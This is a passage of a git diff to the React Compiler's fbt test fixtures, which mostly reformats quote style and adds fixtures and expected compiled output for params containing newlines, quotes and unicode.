     </div>
   );
@@ -16,5 +15,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ name: "Sathya" }],
+  params: [{name: 'Sathya'}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-call-complex-param-value.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-call-complex-param-value.expect.md
index 69f37660b79e..f785260a463b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-call-complex-param-value.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-call-complex-param-value.expect.md
@@ -2,20 +2,20 @@
 ## Input
 
 ```javascript
-import fbt from "fbt";
-import { identity } from "shared-runtime";
+import fbt from 'fbt';
+import {identity} from 'shared-runtime';
 
 function Component(props) {
   const text = fbt(
-    `Hello, ${fbt.param("(key) name", identity(props.name))}!`,
-    "(description) Greeting"
+    `Hello, ${fbt.param('(key) name', identity(props.name))}!`,
+    '(description) Greeting'
   );
   return <div>{text}</div>;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ name: "Sathya" }],
+  params: [{name: 'Sathya'}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-call-complex-param-value.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-call-complex-param-value.js
index 564d0326b2c2..0f6609917861 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-call-complex-param-value.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-call-complex-param-value.js
@@ -1,15 +1,15 @@
-import fbt from "fbt";
-import { identity } from "shared-runtime";
+import fbt from 'fbt';
+import {identity} from 'shared-runtime';
 
 function Component(props) {
   const text = fbt(
-    `Hello, ${fbt.param("(key) name", identity(props.name))}!`,
-    "(description) Greeting"
+    `Hello, ${fbt.param('(key) name', identity(props.name))}!`,
+    '(description) Greeting'
   );
   return <div>{text}</div>;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ name: "Sathya" }],
+  params: [{name: 'Sathya'}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-call.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-call.expect.md
index dde6d8001498..b03288870db0 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-call.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-call.expect.md
@@ -2,19 +2,19 @@
 ## Input
 
 ```javascript
-import fbt from "fbt";
+import fbt from 'fbt';
 
 function Component(props) {
   const text = fbt(
-    `${fbt.param("(key) count", props.count)} items`,
-    "(description) Number of items"
+    `${fbt.param('(key) count', props.count)} items`,
+    '(description) Number of items'
   );
   return <div>{text}</div>;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ count: 2 }],
+  params: [{count: 2}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-call.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-call.js
index 87d111179a1e..49c5e1a65117 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-call.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-call.js
@@ -1,14 +1,14 @@
-import fbt from "fbt";
+import fbt from 'fbt';
 
 function Component(props) {
   const text = fbt(
-    `${fbt.param("(key) count", props.count)} items`,
-    "(description) Number of items"
+    `${fbt.param('(key) count', props.count)} items`,
+    '(description) Number of items'
   );
   return <div>{text}</div>;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ count: 2 }],
+  params: [{count: 2}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-no-whitespace-btw-text-and-param.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-no-whitespace-btw-text-and-param.expect.md
index b48c92bb761d..862417e5b5b9 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-no-whitespace-btw-text-and-param.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-no-whitespace-btw-text-and-param.expect.md
@@ -2,10 +2,10 @@
 ## Input
 
 ```javascript
-import fbt from "fbt";
+import fbt from 'fbt';
 
 const _ = fbt;
-function Component({ value }: { value: string }) {
+function Component({value}: {value: string}) {
   return (
     <fbt desc="descdesc">
       Before text<fbt:param name="paramName">{value}</fbt:param>After text
@@ -15,7 +15,7 @@ function Component({ value }: { value: string }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: "hello world" }],
+  params: [{value: 'hello world'}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-no-whitespace-btw-text-and-param.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-no-whitespace-btw-text-and-param.tsx
index 2fcd114ae4cf..a69888cb8bbb 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-no-whitespace-btw-text-and-param.tsx
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-no-whitespace-btw-text-and-param.tsx
@@ -1,7 +1,7 @@
-import fbt from "fbt";
+import fbt from 'fbt';
 
 const _ = fbt;
-function Component({ value }: { value: string }) {
+function Component({value}: {value: string}) {
   return (
     <fbt desc="descdesc">
       Before text<fbt:param name="paramName">{value}</fbt:param>After text
@@ -11,5 +11,5 @@ function Component({ value }: { value: string }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: "hello world" }],
+  params: [{value: 'hello world'}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-param-with-leading-whitespace.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-param-with-leading-whitespace.expect.md
index a62bbbcdf90d..96cea12a6231 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-param-with-leading-whitespace.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-param-with-leading-whitespace.expect.md
@@ -2,8 +2,8 @@
 ## Input
 
 ```javascript
-import fbt from "fbt";
-import { identity } from "shared-runtime";
+import fbt from 'fbt';
+import {identity} from 'shared-runtime';
 
 function Component(props) {
   return (
@@ -11,7 +11,7 @@ function Component(props) {
       <fbt desc="Title">
         <fbt:plural count={identity(props.count)} name="count" showCount="yes">
           vote
-        </fbt:plural>{" "}
+        </fbt:plural>{' '}
         for <fbt:param name="option"> {props.option}</fbt:param>
       </fbt>
       !
@@ -21,16 +21,16 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ count: 42, option: "thing" }],
+  params: [{count: 42, option: 'thing'}],
   sequentialRenders: [
-    { count: 42, option: "thing" },
-    { count: 42, option: "thing" },
-    { count: 1, option: "other" },
-    { count: 1, option: "other" },
-    { count: 42, option: "thing" },
-    { count: 1, option: "other" },
-    { count: 42, option: "thing" },
-    { count: 1, option: "other" },
+    {count: 42, option: 'thing'},
+    {count: 42, option: 'thing'},
+    {count: 1, option: 'other'},
+    {count: 1, option: 'other'},
+    {count: 42, option: 'thing'},
+    {count: 1, option: 'other'},
+    {count: 42, option: 'thing'},
+    {count: 1, option: 'other'},
   ],
 };
 
@@ -44,15 +44,23 @@ import fbt from "fbt";
 import { identity } from "shared-runtime";
 
 function Component(props) {
-  const $ = _c(3);
+  const $ = _c(5);
   let t0;
   if ($[0] !== props.count || $[1] !== props.option) {
+    let t1;
+    if ($[3] !== props.count) {
+      t1 = identity(props.count);
+      $[3] = props.count;
+      $[4] = t1;
+    } else {
+      t1 = $[4];
+    }
     t0 = (
       <span>
         {fbt._(
           { "*": "{count} votes for {option}", _1: "1 vote for {option}" },
           [
-            fbt._plural(identity(props.count), "count"),
+            fbt._plural(t1, "count"),
             fbt._param(
               "option",
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-param-with-leading-whitespace.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-param-with-leading-whitespace.js
index ed23312ad4e3..55d9b4701e34 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-param-with-leading-whitespace.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-param-with-leading-whitespace.js
@@ -1,5 +1,5 @@
-import fbt from "fbt";
-import { identity } from "shared-runtime";
+import fbt from 'fbt';
+import {identity} from 'shared-runtime';
 
 function Component(props) {
   return (
@@ -7,7 +7,7 @@ function Component(props) {
       <fbt desc="Title">
         <fbt:plural count={identity(props.count)} name="count" showCount="yes">
           vote
-        </fbt:plural>{" "}
+        </fbt:plural>{' '}
         for <fbt:param name="option"> {props.option}</fbt:param>
       </fbt>
       !
@@ -17,15 +17,15 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ count: 42, option: "thing" }],
+  params: [{count: 42, option: 'thing'}],
   sequentialRenders: [
-    { count: 42, option: "thing" },
-    { count: 42, option: "thing" },
-    { count: 1, option: "other" },
-    { count: 1, option: "other" },
-    { count: 42, option: "thing" },
-    { count: 1, option: "other" },
-    { count: 42, option: "thing" },
-    { count: 1, option: "other" },
+    {count: 42, option: 'thing'},
+    {count: 42, option: 'thing'},
+    {count: 1, option: 'other'},
+    {count: 1, option: 'other'},
+    {count: 42, option: 'thing'},
+    {count: 1, option: 'other'},
+    {count: 42, option: 'thing'},
+    {count: 1, option: 'other'},
   ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-param-with-newline.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-param-with-newline.expect.md
new file mode 100644
index 000000000000..f3d5e8ac6afc
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-param-with-newline.expect.md
@@ -0,0 +1,65 @@
+
+## Input
+
+```javascript
+import fbt from 'fbt';
+
+function Component(props) {
+  const element = (
+    <fbt desc={'Dialog to show to user'}>
+      Hello{' '}
+      <fbt:param
+        name="a really long description
+      that got split into multiple lines">
+        {props.name}
+      </fbt:param>
+    </fbt>
+  );
+  return element.toString();
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{name: 'Jason'}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import fbt from "fbt";
+
+function Component(props) {
+  const $ = _c(2);
+  let t0;
+  if ($[0] !== props.name) {
+    const element = fbt._(
+      "Hello {a really long description that got split into multiple lines}",
+      [
+        fbt._param(
+          "a really long description that got split into multiple lines",
+          props.name,
+        ),
+      ],
+      { hk: "1euPUp" },
+    );
+    t0 = element.toString();
+    $[0] = props.name;
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  return t0;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ name: "Jason" }],
+};
+
+```
+      
+### Eval output
+(kind: ok) "Hello Jason"
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-param-with-newline.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-param-with-newline.js
new file mode 100644
index 000000000000..795fecfca4de
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-param-with-newline.js
@@ -0,0 +1,20 @@
+import fbt from 'fbt';
+
+function Component(props) {
+  const element = (
+    <fbt desc={'Dialog to show to user'}>
+      Hello{' '}
+      <fbt:param
+        name="a really long description
+      that got split into multiple lines">
+        {props.name}
+      </fbt:param>
+    </fbt>
+  );
+  return element.toString();
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{name: 'Jason'}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-param-with-quotes.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-param-with-quotes.expect.md
new file mode 100644
index 000000000000..62366dc51419
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-param-with-quotes.expect.md
@@ -0,0 +1,55 @@
+
+## Input
+
+```javascript
+import fbt from 'fbt';
+
+function Component(props) {
+  const element = (
+    <fbt desc={'Dialog to show to user'}>
+      Hello <fbt:param name='"user" name'>{props.name}</fbt:param>
+    </fbt>
+  );
+  return element.toString();
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{name: 'Jason'}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import fbt from "fbt";
+
+function Component(props) {
+  const $ = _c(2);
+  let t0;
+  if ($[0] !== props.name) {
+    const element = fbt._(
+      'Hello {"user" name}',
+      [fbt._param('"user" name', props.name)],
+      { hk: "S0vMe" },
+    );
+    t0 = element.toString();
+    $[0] = props.name;
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  return t0;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ name: "Jason" }],
+};
+
+```
+      
+### Eval output
+(kind: ok) "Hello Jason"
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-param-with-quotes.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-param-with-quotes.js
new file mode 100644
index 000000000000..beadeb94ce07
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-param-with-quotes.js
@@ -0,0 +1,15 @@
+import fbt from 'fbt';
+
+function Component(props) {
+  const element = (
+    <fbt desc={'Dialog to show to user'}>
+      Hello <fbt:param name='"user" name'>{props.name}</fbt:param>
+    </fbt>
+  );
+  return element.toString();
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{name: 'Jason'}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-param-with-trailing-whitespace.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-param-with-trailing-whitespace.expect.md
index 3f5fdf9a2b6e..e5f465df169e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-param-with-trailing-whitespace.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-param-with-trailing-whitespace.expect.md
@@ -2,8 +2,8 @@
 ## Input
 
 ```javascript
-import fbt from "fbt";
-import { identity } from "shared-runtime";
+import fbt from 'fbt';
+import {identity} from 'shared-runtime';
 
 function Component(props) {
   return (
@@ -11,7 +11,7 @@ function Component(props) {
       <fbt desc="Title">
         <fbt:plural count={identity(props.count)} name="count" showCount="yes">
           vote
-        </fbt:plural>{" "}
+        </fbt:plural>{' '}
         for <fbt:param name="option">{props.option} </fbt:param>
       </fbt>
       !
@@ -21,16 +21,16 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ count: 42, option: "thing" }],
+  params: [{count: 42, option: 'thing'}],
   sequentialRenders: [
-    { count: 42, option: "thing" },
-    { count: 42, option: "thing" },
-    { count: 1, option: "other" },
-    { count: 1, option: "other" },
-    { count: 42, option: "thing" },
-    { count: 1, option: "other" },
-    { count: 42, option: "thing" },
-    { count: 1, option: "other" },
+    {count: 42, option: 'thing'},
+    {count: 42, option: 'thing'},
+    {count: 1, option: 'other'},
+    {count: 1, option: 'other'},
+    {count: 42, option: 'thing'},
+    {count: 1, option: 'other'},
+    {count: 42, option: 'thing'},
+    {count: 1, option: 'other'},
   ],
 };
 
@@ -44,15 +44,23 @@ import fbt from "fbt";
 import { identity } from "shared-runtime";
 
 function Component(props) {
-  const $ = _c(3);
+  const $ = _c(5);
   let t0;
   if ($[0] !== props.count || $[1] !== props.option) {
+    let t1;
+    if ($[3] !== props.count) {
+      t1 = identity(props.count);
+      $[3] = props.count;
+      $[4] = t1;
+    } else {
+      t1 = $[4];
+    }
     t0 = (
       <span>
         {fbt._(
           { "*": "{count} votes for {option}", _1: "1 vote for {option}" },
           [
-            fbt._plural(identity(props.count), "count"),
+            fbt._plural(t1, "count"),
             fbt._param(
               "option",
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-param-with-trailing-whitespace.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-param-with-trailing-whitespace.js
index 3286adcc69eb..e1817ab0b1fd 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-param-with-trailing-whitespace.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-param-with-trailing-whitespace.js
@@ -1,5 +1,5 @@
-import fbt from "fbt";
-import { identity } from "shared-runtime";
+import fbt from 'fbt';
+import {identity} from 'shared-runtime';
 
 function Component(props) {
   return (
@@ -7,7 +7,7 @@ function Component(props) {
       <fbt desc="Title">
         <fbt:plural count={identity(props.count)} name="count" showCount="yes">
           vote
-        </fbt:plural>{" "}
+        </fbt:plural>{' '}
         for <fbt:param name="option">{props.option} </fbt:param>
       </fbt>
       !
@@ -17,15 +17,15 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ count: 42, option: "thing" }],
+  params: [{count: 42, option: 'thing'}],
   sequentialRenders: [
-    { count: 42, option: "thing" },
-    { count: 42, option: "thing" },
-    { count: 1, option: "other" },
-    { count: 1, option: "other" },
-    { count: 42, option: "thing" },
-    { count: 1, option: "other" },
-    { count: 42, option: "thing" },
-    { count: 1, option: "other" },
+    {count: 42, option: 'thing'},
+    {count: 42, option: 'thing'},
+    {count: 1, option: 'other'},
+    {count: 1, option: 'other'},
+    {count: 42, option: 'thing'},
+    {count: 1, option: 'other'},
+    {count: 42, option: 'thing'},
+    {count: 1, option: 'other'},
   ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-param-with-unicode.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-param-with-unicode.expect.md
new file mode 100644
index 000000000000..6c3a94509eb8
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-param-with-unicode.expect.md
@@ -0,0 +1,55 @@
+
+## Input
+
+```javascript
+import fbt from 'fbt';
+
+function Component(props) {
+  const element = (
+    <fbt desc={'Dialog to show to user'}>
+      Hello <fbt:param name="user name ☺">{props.name}</fbt:param>
+    </fbt>
+  );
+  return element.toString();
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{name: 'Jason'}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import fbt from "fbt";
+
+function Component(props) {
+  const $ = _c(2);
+  let t0;
+  if ($[0] !== props.name) {
+    const element = fbt._(
+      "Hello {user name ☺}",
+      [fbt._param("user name \u263A", props.name)],
+      { hk: "1En1lp" },
+    );
+    t0 = element.toString();
+    $[0] = props.name;
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  return t0;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ name: "Jason" }],
+};
+
+```
+      
+### Eval output
+(kind: ok) "Hello Jason"
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-param-with-unicode.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-param-with-unicode.js
new file mode 100644
index 000000000000..91fa8552d353
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-param-with-unicode.js
@@ -0,0 +1,15 @@
+import fbt from 'fbt';
+
+function Component(props) {
+  const element = (
+    <fbt desc={'Dialog to show to user'}>
+      Hello <fbt:param name="user name ☺">{props.name}</fbt:param>
+    </fbt>
+  );
+  return element.toString();
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{name: 'Jason'}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-params-complex-param-value.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-params-complex-param-value.expect.md
index 44461081d7d0..37f57721a44d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-params-complex-param-value.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-params-complex-param-value.expect.md
@@ -2,11 +2,11 @@
 ## Input
 
 ```javascript
-import fbt from "fbt";
+import fbt from 'fbt';
 
 function Component(props) {
   return (
-    <fbt desc={"Dialog to show to user"}>
+    <fbt desc={'Dialog to show to user'}>
       Hello <fbt:param name="user name">{capitalize(props.name)}</fbt:param>
     </fbt>
   );
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-params-complex-param-value.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-params-complex-param-value.js
index 31ef0115d113..3baa8ec17ed2 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-params-complex-param-value.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-params-complex-param-value.js
@@ -1,8 +1,8 @@
-import fbt from "fbt";
+import fbt from 'fbt';
 
 function Component(props) {
   return (
-    <fbt desc={"Dialog to show to user"}>
+    <fbt desc={'Dialog to show to user'}>
       Hello <fbt:param name="user name">{capitalize(props.name)}</fbt:param>
     </fbt>
   );
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-params.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-params.expect.md
index d5ec6eb4687f..610932fd4bbc 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-params.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-params.expect.md
@@ -2,20 +2,25 @@
 ## Input
 
 ```javascript
-import fbt from "fbt";
+import fbt from 'fbt';
 
 function Component(props) {
   return (
-    <fbt desc={"Dialog to show to user"}>
-      Hello <fbt:param name="user name">{props.name}</fbt:param>
-    </fbt>
+    <div>
+      <fbt desc={'Dialog to show to user'}>
+        Hello <fbt:param name="user name">{props.name}</fbt:param>
+      </fbt>
+      <fbt desc={'Available actions|response'}>
+        <fbt:param name="actions|response">{props.actions}</fbt:param>
+      </fbt>
+    </div>
   );
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -27,7 +32,7 @@ import { c as _c } from "react/compiler-runtime";
 import fbt from "fbt";
 
 function Component(props) {
-  const $ = _c(2);
+  const $ = _c(7);
   let t0;
   if ($[0] !== props.name) {
     t0 = fbt._("Hello {user name}", [fbt._param("user name", props.name)], {
@@ -38,7 +43,33 @@ function Component(props) {
   } else {
     t0 = $[1];
   }
-  return t0;
+  let t1;
+  if ($[2] !== props.actions) {
+    t1 = fbt._(
+      "{actions|response}",
+      [fbt._param("actions|response", props.actions)],
+      { hk: "1cjfbg" },
+    );
+    $[2] = props.actions;
+    $[3] = t1;
+  } else {
+    t1 = $[3];
+  }
+  let t2;
+  if ($[4] !== t0 || $[5] !== t1) {
+    t2 = (
+      <div>
+        {t0}
+        {t1}
+      </div>
+    );
+    $[4] = t0;
+    $[5] = t1;
+    $[6] = t2;
+  } else {
+    t2 = $[6];
+  }
+  return t2;
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-params.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-params.js
index b2959036e57b..91a52a32e2b4 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-params.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-params.js
@@ -1,15 +1,20 @@
-import fbt from "fbt";
+import fbt from 'fbt';
 
 function Component(props) {
   return (
-    <fbt desc={"Dialog to show to user"}>
-      Hello <fbt:param name="user name">{props.name}</fbt:param>
-    </fbt>
+    <div>
+      <fbt desc={'Dialog to show to user'}>
+        Hello <fbt:param name="user name">{props.name}</fbt:param>
+      </fbt>
+      <fbt desc={'Available actions|response'}>
+        <fbt:param name="actions|response">{props.actions}</fbt:param>
+      </fbt>
+    </div>
   );
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-preserve-jsxtext.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-preserve-jsxtext.expect.md
index d2f10350bc14..4b39a6d237d7 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-preserve-jsxtext.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-preserve-jsxtext.expect.md
@@ -2,21 +2,27 @@
 ## Input
 
 ```javascript
-import fbt from "fbt";
+import fbt from 'fbt';
 
 function Foo(props) {
   return (
     <fbt desc="Some text to be translated">
       <fbt:enum
-        enum-range={{ "0": "hello", "1": "goodbye" }}
-        value={props.value ? "0" : "1"}
-      />{" "}
+        enum-range={{'0': 'hello', '1': 'goodbye'}}
+        value={props.value ? '0' : '1'}
+      />{' '}
       <fbt:param name="value">{props.value}</fbt:param>
-      {", "}
+      {', '}
     </fbt>
   );
 }
 
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{value: 1}],
+  sequentialRenders: [{value: 1}, {value: 0}],
+};
+
 ```
 
 ## Code
@@ -49,5 +55,14 @@ function Foo(props) {
   return t0;
 }
 
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{ value: 1 }],
+  sequentialRenders: [{ value: 1 }, { value: 0 }],
+};
+
 ```
-      
\ No newline at end of file
+      
+### Eval output
+(kind: ok) hello 1,
+goodbye 0,
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-preserve-jsxtext.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-preserve-jsxtext.js
index f28cb7a1c8c4..7080753c4db4 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-preserve-jsxtext.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-preserve-jsxtext.js
@@ -1,14 +1,20 @@
-import fbt from "fbt";
+import fbt from 'fbt';
 
 function Foo(props) {
   return (
     <fbt desc="Some text to be translated">
       <fbt:enum
-        enum-range={{ "0": "hello", "1": "goodbye" }}
-        value={props.value ? "0" : "1"}
-      />{" "}
+        enum-range={{'0': 'hello', '1': 'goodbye'}}
+        value={props.value ? '0' : '1'}
+      />{' '}
       <fbt:param name="value">{props.value}</fbt:param>
-      {", "}
+      {', '}
     </fbt>
   );
 }
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{value: 1}],
+  sequentialRenders: [{value: 1}, {value: 0}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-preserve-whitespace-subtree.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-preserve-whitespace-subtree.expect.md
new file mode 100644
index 000000000000..702a9fd8eabe
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-preserve-whitespace-subtree.expect.md
@@ -0,0 +1,89 @@
+
+## Input
+
+```javascript
+import fbt from 'fbt';
+
+/**
+ * Note that fbt whitespace rules apply to the entire fbt subtree,
+ * not just direct children of fbt elements.
